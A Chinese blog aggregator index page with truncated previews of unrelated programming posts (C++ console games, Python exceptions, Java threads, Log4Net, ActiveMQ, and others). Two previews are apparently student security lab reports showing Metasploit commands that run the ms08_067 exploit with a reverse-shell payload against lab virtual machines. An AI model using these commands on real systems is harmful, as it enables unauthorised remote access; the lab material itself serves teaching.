BZOJ4009 & 洛谷3242 & LOJ2113:[HNOI2015]接水果——题解 LOJ6276:果树

https://www.lydsy.com/JudgeOnline/problem.php?id=4009 https://www.luogu.org/problemnew/show/P3242 https://loj.ac/problem/2113 风见幽香非常喜欢玩一个叫做 osu!的游戏,其中她最喜欢玩的模式就是接水果。由于她已经DT FC 了The big black, 她觉得这个游戏太简单了,于是发明了一个更加难的版本。 首先有一个地图,是一棵由 n 个顶点、n-1 条边组成的树(例
分类: 其他 发布时间: 04-28 21:14 阅读次数: 4

day30,异常处理

# 错误 :语法错误 应该在开发的过程中就杜绝 # 异常 # num = 0 # 100/num # 程序中的异常 : 报错之后程序终止 # try: # # name # NameError # int(input('num : ')) # ValueError # dic = {} # dic['k'] # KeyError # class A:pass # a = A() # a.name # AttributeErro
分类: 其他 发布时间: 04-28 21:14 阅读次数: 3

004 后台线程

一 . 后台线程 一个线程是在线程创建的时候被指定为在后台执行的一种特殊线程. 注意 :   [1] 后台线程需要在启动之前进行指定.   [2]daemnon的优先级别很低,也就是说它运行的机会比较少.   [3]后台线程的生命周期依赖于其父线程的生命周期,也就是说,如果没有非后台线程,     那么后台线程自动结束. 下面看一个例子:    public class DaemonThread { public static void main(String[] args) {
分类: 其他 发布时间: 04-28 21:08 阅读次数: 3

游戏系列~2048(2)

#include <stdio.h> #include <time.h> /* 包含设定随机数种子所需要的time()函数 */ #include <conio.h> /* 包含Windows平台上完成输入字符不带回显和回车确认的getch()函数 */ #include <windows.h> /* 包含Windows平台上完成设定输出光标位置达到清屏功能的函数 */ #include <bits/stdc++.h> using namespace std; void start_game(
分类: 其他 发布时间: 04-28 21:08 阅读次数: 5

20155339 Exp5 MSF基础应用

一个主动攻击实践--ms08_067漏洞 调用该模块:use exploit/windows/smb/ms08_067_netapi并且查看可以使用的载荷show payloads 设置payload,并且tcp反向回连set payload generic/shell_reverse_tcp。 设置回连的IPset LHOST 192.168.224.142。 设置攻击的端口号set LPORT 5339。 设置靶机的IPset RHOST 192.168.224.144。 查看有哪些靶机类
分类: 其他 发布时间: 04-28 21:08 阅读次数: 4

游戏系列~猜数字(4)

#include <cstdlib> #include <cmath> #include <ctime> #include <iostream> using namespace std; #define NUM 4 // 随机产生4个数字,作为答案供使用者猜测 void answer(int *a, int s) { int i, j; srand(time(NULL)); for (i = 0; i < s; ++i) { a[i] = rand()%10; // 确保当前产生的随机数与前面
分类: 其他 发布时间: 04-28 21:08 阅读次数: 4

游戏系列~贪吃蛇(3)

#include<iostream> #include<windows.h> #include<ctime> #include<cstdlib> #include<conio.h> #include <bits/stdc++.h> #define N 21 using namespace std; void gotoxy(int x,int y)//位置函数 { COORD pos; pos.X=2*x; pos.Y=y; SetConsoleCursorPosition(GetStdHand
分类: 其他 发布时间: 04-28 21:08 阅读次数: 3

Log4Net日志组件

1.Nuget下载Log4Net包 2.设置应用程序配置文件App.config <?xml version="1.0" encoding="utf-8" ?> <configuration> <configSections> <section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler, log4net" /> </configSections> <log
分类: 其他 发布时间: 04-28 21:08 阅读次数: 3

面向对象究竟有几大基本特征

面向对象的基本特征中继承,封装和多态是毋庸置疑的,但抽象到底是不是面向对象的基本特征之一,却是众说纷纭。 抽象是面向对象的重要部分,抽象就是忽略一个主题中域当前目标无关的哪些方面。抽象并不打算了解全部问题,而只是考虑其中的一部分。抽象包括两个方面,一是过程抽象,二是数据抽象。 笔者认为抽象是面向对象的重要部分,但不是面向对象的特征之一,因为所有的编程语言都需要抽象! 汉语释义 基本解释 ◎ 特征 tè zhēng。 (1) [Characteristic;Distingushing featu
分类: 其他 发布时间: 04-28 21:07 阅读次数: 3

游戏系列~苍穹世界(5)

#include<stdlib.h> #include<stdio.h> #include<time.h> //suiji #include<string.h> #include<windows.h> //SLEEP函数 struct Player //玩家结构体,并初始化player { char name[21]; int attack; int defense; int health; long int max_health; int level; int exp; int range_
分类: 其他 发布时间: 04-28 21:07 阅读次数: 3

游戏系列~拳皇(7)

#include<stdio.h> #include<stdlib.h> #include<time.h> #include<string.h> #include<conio.h> #define N 100 int n=0; int Checktoseek(char name[]);//查找 void mainmenu();//菜单 void Register();//登记注册 void Showplayer();//显示当前人物数据 void Showallplayer();//显示所有人
分类: 其他 发布时间: 04-28 21:07 阅读次数: 3

maven 项目运行找不到类

其实maven 仓库有jar包,可能未编译或破损, 在本地仓删除它,然后maven install
分类: 其他 发布时间: 04-28 21:07 阅读次数: 3

游戏系列~俄罗斯方块(6)

#include <iostream> #include <windows.h> #include <vector> #include <mmsystem.h> #include <bits/stdc++.h> #pragma comment(lib, "winmm.lib") using namespace std; #define GameW 10 #define GameH 20 const int CtrlLeft = GameW*2+4 + 3; struct Point { Poi
分类: 其他 发布时间: 04-28 21:07 阅读次数: 4

游戏系列~扫雷(8)

#include <cstdio> #include <cmath> #include <iostream> #include <fstream> #include <cstdlib> #include <string> #include <iomanip> #include <cstring> #include <ctime> #include <algorithm> #include <queue> #include <map> #include <vector> #include <se
分类: 其他 发布时间: 04-28 21:07 阅读次数: 5

VS2015+OpenGL4.0开发编译时弹出错误:glaux.lib(tk.obj) : error LNK2019: 无法解析的外部符号 _sscanf,该符号在函数 _GetRegistrySysColors@8 中被引用

问题描述: VS2015+OpenGL4.0开发编译时弹出如下所示的错误: 1>glaux.lib(tk.obj) : error LNK2019: 无法解析的外部符号 _sscanf,该符号在函数 _GetRegistrySysColors@8 中被引用 1>glaux.lib(tk.obj) : error LNK2019: 无法解析的外部符号 _vsprintf,该符号在函数 _PrintMessage 中被引用 解决办法: 1、VS2015编译会出现这个问题,解决办法在项目属性->链接
分类: 其他 发布时间: 04-28 21:07 阅读次数: 3

20155320《网络对抗》MSF基础应用

20155320《网络对抗》MSF基础应用 基础问题回答 (1)用自己的话解释什么是exploit,payload,encode 实践过程 使用到的虚拟机IP 虚拟机 IP地址 靶机1 Windows XP 192.168.63.130 靶机2 Vivian xp 192.168.63.129 靶机 192.168.63.131 攻击机 kali2 192.168.63.133 1.1一个主动攻击实践——ms08_067漏洞攻击; 这次需要用到靶机和kali 在kali的终端中输入msfcon
分类: 其他 发布时间: 04-28 21:07 阅读次数: 3

css购物车右上角数字效果

.center-order-send { margin-left: 163rpx; margin-right: 163rpx; position: relative; } .center-order-num-posi{ position: absolute; padding:2rpx 10rpx; border:1px solid #f50000; background-color: #f50000; color:white; border-radius: 30rpx; top:2rpx; l
分类: 编程语言 发布时间: 04-28 21:07 阅读次数: 5

zip拉链方法

print(list(zip(('a','b','c'),(1,2,3)))) print(list(zip(('a','b','c'),(1,3,2,4)))) print(list(zip(('a','b','c','d'),(1,2,3)))) p={'name':'cat','age': 19} print(list(zip(p.keys(),p.values())))#拉链方法
分类: 其他 发布时间: 04-28 21:07 阅读次数: 3

Ubuntu清华大学镜像源

# 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse deb https://mirrors.
分类: 编程语言 发布时间: 04-28 21:07 阅读次数: 4

ActiveMQ 集群和主从

举例说明: 假设有 3 个 broker 节点,分别是61616,61618, 61620,其中 61616 和 61618 组成主、从节点,而 61616(或61618)和 61620 构成集群。 61616 和 61618 使用 jdbc 持久化,61620 使用 kahaDB。 这样混合配置:能更好地理解主从和集群的区别,61616 和 61618 在同一时刻只有一个 broker 提供服务,而集群是同时在提供服务,消息在集群的节点之间流转。 61616 配置: <beans xml
分类: 其他 发布时间: 04-28 21:04 阅读次数: 4